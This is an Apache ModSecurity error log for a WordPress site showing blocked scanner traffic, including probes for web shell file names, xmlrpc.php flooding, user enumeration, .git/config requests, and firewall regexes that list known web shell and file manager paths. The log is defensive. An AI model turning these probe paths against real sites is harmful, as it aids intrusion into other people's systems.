[Fri Dec 26 00:51:41.856002 2025] [:error] [pid 24863:tid 24902] [client 4.193.224.251:8662] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aU1rnR8SaH2KMpp43vffDQAAAMk"]
[Fri Dec 26 00:51:42.080338 2025] [:error] [pid 24946:tid 24959] [client 4.193.224.251:8232] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aU1rnlfyLYxv3Jn9S70xnAAAAEs"]
[Fri Dec 26 00:51:42.282825 2025] [:error] [pid 24946:tid 24960] [client 4.193.224.251:8686] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/lc.php"] [unique_id "aU1rnlfyLYxv3Jn9S70xngAAAEw"]
[Fri Dec 26 00:51:42.457196 2025] [:error] [pid 24864:tid 24922] [client 4.193.224.251:8223] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aU1rnsu59XOK5DpQQdCIDAAAAUI"]
[Fri Dec 26 00:51:42.669351 2025] [:error] [pid 24864:tid 24942] [client 4.193.224.251:8656] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aU1rnsu59XOK5DpQQdCIDgAAAVY"]
[Fri Dec 26 00:51:42.882400 2025] [:error] [pid 24862:tid 24888] [client 4.193.224.251:8578] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aU1rnrt-eeEEuo-2JKgi3gAAABY"]
[Fri Dec 26 00:51:43.107723 2025] [:error] [pid 24862:tid 24882] [client 4.193.224.251:8630] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mlex.php"] [unique_id "aU1rn7t-eeEEuo-2JKgi4gAAABA"]
[Fri Dec 26 00:51:43.328228 2025] [:error] [pid 24946:tid 24971] [client 4.193.224.251:8210] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aU1rn1fyLYxv3Jn9S70xoAAAAFc"]
[Fri Dec 26 00:51:43.565565 2025] [:error] [pid 24863:tid 24916] [client 4.193.224.251:8887] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aU1rnx8SaH2KMpp43vffDwAAANc"]
[Fri Dec 26 00:51:43.769487 2025] [:error] [pid 24863:tid 24907] [client 4.193.224.251:8236] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aU1rnx8SaH2KMpp43vffEQAAAM4"]
[Fri Dec 26 00:51:43.974265 2025] [:error] [pid 24863:tid 24912] [client 4.193.224.251:8198] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/nc4.php"] [unique_id "aU1rnx8SaH2KMpp43vffEwAAANM"]
[Fri Dec 26 00:51:44.188119 2025] [:error] [pid 24946:tid 24969] [client 4.193.224.251:8591] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aU1roFfyLYxv3Jn9S70xogAAAFU"]
[Fri Dec 26 00:51:44.384964 2025] [:error] [pid 24863:tid 24905] [client 4.193.224.251:8834] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aU1roB8SaH2KMpp43vffFQAAAMw"]
[Fri Dec 26 00:51:44.574651 2025] [:error] [pid 24864:tid 24939] [client 4.193.224.251:8624] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aU1roMu59XOK5DpQQdCIEAAAAVM"]
[Fri Dec 26 00:51:44.761217 2025] [:error] [pid 24864:tid 24935] [client 4.193.224.251:8235] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/class.php"] [unique_id "aU1roMu59XOK5DpQQdCIEgAAAU8"]
[Fri Dec 26 00:51:44.947506 2025] [:error] [pid 24862:tid 24879] [client 4.193.224.251:8211] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aU1roLt-eeEEuo-2JKgi6gAAAA0"]
[Fri Dec 26 00:51:45.134513 2025] [:error] [pid 24864:tid 24943] [client 4.193.224.251:8648] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aU1rocu59XOK5DpQQdCIFAAAAVc"]
[Fri Dec 26 00:51:45.308937 2025] [:error] [pid 24862:tid 24877] [client 4.193.224.251:8639] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aU1robt-eeEEuo-2JKgi7gAAAAs"]
[Fri Dec 26 00:51:45.527293 2025] [:error] [pid 24946:tid 24972] [client 4.193.224.251:8649] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/mpvloi.php"] [unique_id "aU1roVfyLYxv3Jn9S70xpQAAAFg"]
[Fri Dec 26 00:51:45.702584 2025] [:error] [pid 24946:tid 24968] [client 4.193.224.251:8228] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aU1roVfyLYxv3Jn9S70xpgAAAFQ"]
[Fri Dec 26 00:51:45.893511 2025] [:error] [pid 24864:tid 24928] [client 4.193.224.251:8602] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aU1rocu59XOK5DpQQdCIFwAAAUg"]
[Fri Dec 26 00:51:46.086881 2025] [:error] [pid 24863:tid 24915] [client 4.193.224.251:8683] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aU1roh8SaH2KMpp43vffFgAAANY"]
[Fri Dec 26 00:51:46.260423 2025] [:error] [pid 24946:tid 24952] [client 4.193.224.251:8623] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v1.php"] [unique_id "aU1rolfyLYxv3Jn9S70xqQAAAEQ"]
[Fri Dec 26 00:51:46.460583 2025] [:error] [pid 24946:tid 24970] [client 4.193.224.251:8697] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aU1rolfyLYxv3Jn9S70xqwAAAFY"]
[Fri Dec 26 00:51:46.635648 2025] [:error] [pid 24946:tid 24966] [client 4.193.224.251:8689] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aU1rolfyLYxv3Jn9S70xrAAAAFI"]
[Fri Dec 26 00:51:46.808941 2025] [:error] [pid 24946:tid 24961] [client 4.193.224.251:8643] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aU1rolfyLYxv3Jn9S70xrQAAAE0"]
[Fri Dec 26 00:51:47.021729 2025] [:error] [pid 24862:tid 24870] [client 4.193.224.251:8655] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/v2.php"] [unique_id "aU1ro7t-eeEEuo-2JKgi8wAAAAQ"]
[Fri Dec 26 00:51:47.197342 2025] [:error] [pid 24863:tid 24904] [client 4.193.224.251:8208] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aU1rox8SaH2KMpp43vffGAAAAMs"]
[Fri Dec 26 00:51:47.397006 2025] [:error] [pid 24946:tid 24949] [client 4.193.224.251:8216] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aU1ro1fyLYxv3Jn9S70xrwAAAEE"]
[Fri Dec 26 00:51:47.627818 2025] [:error] [pid 24862:tid 24867] [client 4.193.224.251:8670] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aU1ro7t-eeEEuo-2JKgi-gAAAAE"]
[Fri Dec 26 00:51:47.829504 2025] [:error] [pid 24946:tid 24959] [client 4.193.224.251:8614] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/dex.php"] [unique_id "aU1ro1fyLYxv3Jn9S70xsQAAAEs"]
[Fri Dec 26 00:51:48.010887 2025] [:error] [pid 24864:tid 24927] [client 4.193.224.251:8653] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aU1rpMu59XOK5DpQQdCIGwAAAUc"]
[Fri Dec 26 00:51:48.186441 2025] [:error] [pid 24862:tid 24889] [client 4.193.224.251:8851] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aU1rpLt-eeEEuo-2JKgi_QAAABc"]
[Fri Dec 26 00:51:48.386295 2025] [:error] [pid 24864:tid 24924] [client 4.193.224.251:8224] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aU1rpMu59XOK5DpQQdCIHAAAAUQ"]
[Fri Dec 26 00:51:48.588830 2025] [:error] [pid 24946:tid 24960] [client 4.193.224.251:8661] [client 4.193.224.251] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "gigfragments.org"] [uri "/angelV2.php"] [unique_id "aU1rpFfyLYxv3Jn9S70xtQAAAEw"]
[Fri Dec 26 01:10:35.787204 2025] [:error] [pid 24862:tid 24870] [client 34.145.82.201:61343] [client 34.145.82.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.82.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU1wC7t-eeEEuo-2JKgsKAAAAAQ"]
[Fri Dec 26 01:10:40.092887 2025] [:error] [pid 24862:tid 24881] [client 34.145.82.201:61343] [client 34.145.82.201] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||gigfragments.org|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "gigfragments.org"] [uri "/wp-json/wp/v2/users/"] [unique_id "aU1wELt-eeEEuo-2JKgsLQAAAA8"]
[Fri Dec 26 01:10:41.482025 2025] [:error] [pid 24862:tid 24888] [client 34.145.82.201:61343] [client 34.145.82.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.82.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU1wEbt-eeEEuo-2JKgsMQAAABY"]
[Fri Dec 26 01:10:43.486614 2025] [:error] [pid 24863:tid 24906] [client 34.145.82.201:61343] [client 34.145.82.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.82.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU1wEx8SaH2KMpp43vfnyAAAAM0"]
[Fri Dec 26 01:10:45.388300 2025] [:error] [pid 24946:tid 24953] [client 34.145.82.201:60889] [client 34.145.82.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.82.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU1wFVfyLYxv3Jn9S70_ggAAAEU"]
[Fri Dec 26 01:10:47.187586 2025] [:error] [pid 24864:tid 24921] [client 34.145.82.201:63266] [client 34.145.82.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.82.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU1wF8u59XOK5DpQQdCTwAAAAUE"]
[Fri Dec 26 01:10:49.033771 2025] [:error] [pid 24946:tid 24961] [client 34.145.82.201:60125] [client 34.145.82.201] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 34.145.82.201, incrementing ddos counter"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU1wGVfyLYxv3Jn9S70_iQAAAE0"]
[Fri Dec 26 01:10:49.033899 2025] [:error] [pid 24946:tid 24961] [client 34.145.82.201:60125] [client 34.145.82.201] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 5 at IP:ddos. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "10"] [id "400002"] [msg "DDoS threshold exceeded for 34.145.82.201, counter = 6"] [hostname "gigfragments.org"] [uri "/xmlrpc.php"] [unique_id "aU1wGVfyLYxv3Jn9S70_iQAAAE0"]
[Fri Dec 26 01:47:52.299429 2025] [:error] [pid 24863:tid 24895] [client 43.156.168.214:56426] [client 43.156.168.214] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aU14yB8SaH2KMpp43vf20QAAAMI"]
[Fri Dec 26 03:24:01.134323 2025] [:error] [pid 24864:tid 24932] [client 43.132.214.228:57888] [client 43.132.214.228] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.gigfragments.org"] [uri "/"] [unique_id "aU2PUcu59XOK5DpQQdC-gwAAAUw"]
[Fri Dec 26 04:39:10.777172 2025] [:error] [pid 28355:tid 28364] [client 182.43.70.143:38635] [client 182.43.70.143] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||gigfragments.org|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "gigfragments.org"] [uri "/"] [unique_id "aU2g7rsFqKXf7ADZcTYBNAAAAMc"]
[Fri Dec 26 04:51:45.452094 2025] [:error] [pid 28270:tid 28341] [client 216.81.248.5:36126] [client 216.81.248.5] ModSecurity: Access denied with code 403 (phase 1). Matched phrase "/.git/" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/02_Global_Generic.conf"] [line "117"] [id "210492"] [rev "3"] [severity "CRITICAL"] [tag "CWAF"] [tag "Generic"] [hostname "gigfragments.org"] [uri "/.git/config"] [unique_id "aU2j4V9Ac79_ckdPN5I5LAAAAIw"]
[Fri Dec 26 14:32:48.918430 2025] [:error] [pid 28270:tid 28351] [client 203.159.81.18:32135] [client 203.159.81.18] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/wp-content/plugins/pwnd/pwnd.php"] [unique_id "aU4sEF9Ac79_ckdPN5Lt9wAAAJY"]
[Fri Dec 26 14:32:57.288492 2025] [:error] [pid 28268:tid 28295] [client 203.159.81.26:48611] [client 203.159.81.26] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/style-engine/worksec.php"] [unique_id "aU4sGXc_KuO_55-uPTRLhwAAABQ"]
[Fri Dec 26 14:33:10.851882 2025] [:error] [pid 28355:tid 28375] [client 203.159.81.14:51533] [client 203.159.81.14] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/(?:tinyfilemanager(?:\\\\.php)?|filemanager\\\\.php|fm\\\\.php|tiny\\\\.php|wp-content/plugins/pwnd/pwnd\\\\.php|wp-includes/(?:block-supports/autoload_classmap\\\\.php|Text/Diff/Engine/wp\\\\.php|blocks/details/about\\\\.php))$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "29"] [id "771002"] [msg "Blocked probe for known bad path/file manager/webshell"] [tag "probes"] [tag "wordpress"] [hostname "gigfragments.org"] [uri "/tinyfilemanager.php"] [unique_id "aU4sJrsFqKXf7ADZcTawAgAAANI"]
[Fri Dec 26 14:33:19.157895 2025] [:error] [pid 34865:tid 34873] [client 203.159.81.5:39977] [client 203.159.81.5] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/js/index.php"] [unique_id "aU4sL6i4zjVVKBdvuTR4YQAAAUY"]
[Fri Dec 26 14:33:31.757840 2025] [:error] [pid 28268:tid 28279] [client 203.159.81.39:45201] [client 203.159.81.39] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/widgets/dyqvcfqv.php"] [unique_id "aU4sO3c_KuO_55-uPTRMPAAAAAQ"]
[Fri Dec 26 14:33:35.272681 2025] [:error] [pid 28269:tid 28322] [client 203.159.81.1:64451] [client 203.159.81.1] ModSecurity: Access denied with code 403 (phase 1). Pattern match "^/wp-includes/.*\\\\.php$" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "15"] [id "771001"] [msg "Blocked direct PHP under wp-includes"] [tag "wordpress"] [tag "hardening"] [hostname "gigfragments.org"] [uri "/wp-includes/images/smilies/about.php"] [unique_id "aU4sP53ZK8bJ-c9-kjPfPAAAAFQ"]
[Fri Dec 26 14:33:46.386207 2025] [autoindex:error] [pid 15063:tid 15076] [client 203.159.81.35:46147] AH01276: Cannot serve directory /home/gigfrag/public_html/wp-includes/css/dist/: No matching DirectoryIndex (index.php,index.html.var,index.htm,index.html,index.shtml,index.xhtml,index.wml,index.perl,index.pl,index.plx,index.ppl,index.cgi,index.jsp,index.js,index.jp,index.php4,index.php3,index.phtml,default.htm,default.html,home.htm,index.php5,Default.html,Default.htm,home.html) found, and server-generated directory index forbidden by Options directive
